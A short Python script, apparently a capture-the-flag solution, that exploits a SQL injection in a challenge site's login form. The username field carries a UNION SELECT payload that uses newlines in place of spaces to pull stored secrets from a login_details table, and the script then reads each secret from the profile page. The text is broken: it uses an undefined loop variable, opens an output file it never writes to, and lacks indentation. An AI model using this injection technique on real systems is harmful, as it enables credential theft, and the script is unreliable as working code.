import requests
import time
from base64 import b64decode
api_url_s = "https://imgy-gal.nitectf.live/login"
api_url_e = "https://imgy-gal.nitectf.live/profile"
f = open("passwords.txt", "wb")
data = {"username":f"aaaa'union\x0aselect\x0asecret\x0afrom\x0alogin_details\x0aorder\x0aby\x0asecret\x0alimit\x0a{i},1--",
"password":""}
r = requests.post(api_url_s, data=data, allow_redirects=False)
if r.status_code == 302 :
c = r.cookies
res2 = requests.get(api_url_e, cookies=c)
s = res2.text
index = s.find("Your secret is:-")
start = s.find("<br>",index)
end = s.find("</p>", index)
s = s[start+4:end].strip()
print(s)